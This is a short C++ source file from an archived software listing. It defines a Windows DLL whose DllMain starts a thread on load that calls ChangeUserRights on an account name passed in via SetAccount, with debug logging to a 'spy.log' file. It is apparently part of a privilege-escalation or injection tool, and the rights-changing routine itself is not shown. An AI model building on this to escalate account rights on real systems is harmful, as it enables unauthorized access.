home *** CD-ROM | disk | FTP | other *** search
- #include <windows.h>
-
-
-
- HWND hWnd;
- HANDLE LogFile;
- HANDLE Thread;
- HANDLE hMod;
-
-
- char Account[255] = "";
-
- extern "C"
- __declspec(dllexport) void SetAccount(char* Account)
- {
- strcpy(::Account,Account);
- }
-
- int ChangeUserRights(char *Account);
-
- void LogA(LPSTR str)
- {
- #ifdef _DEBUG
-
- DWORD done;
-
- LogFile = CreateFile("d:\\spy.log",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
-
- SetFilePointer(
- LogFile,
- GetFileSize(LogFile,0),
- 0,
- FILE_BEGIN
- );
-
- WriteFile(LogFile,str,strlen(str),&done,0);
- CloseHandle(LogFile);
- #endif
- }
-
-
- DWORD WINAPI ThreadFunc(LPVOID lpThreadParameter)
- {
-
-
- ChangeUserRights(Account);
-
- return 0;
- }
-
-
- BOOL WINAPI DllMain(HANDLE hInst,ULONG ul_reason_for_call,LPVOID lpReserved)
- {
- DWORD id;
-
- switch(ul_reason_for_call){
-
- case DLL_THREAD_ATTACH:
- break;
-
- case DLL_PROCESS_ATTACH:
-
- Thread = CreateThread(0,0,ThreadFunc,0,0,&id);
- hMod = hInst;
- break;
-
-
-
- case DLL_PROCESS_DETACH:
- if( WaitForSingleObject(Thread,3000) == WAIT_TIMEOUT)
- TerminateThread(Thread,(DWORD)-1);
- break;
-
- default: break;
- }
- return TRUE;
- }
-
-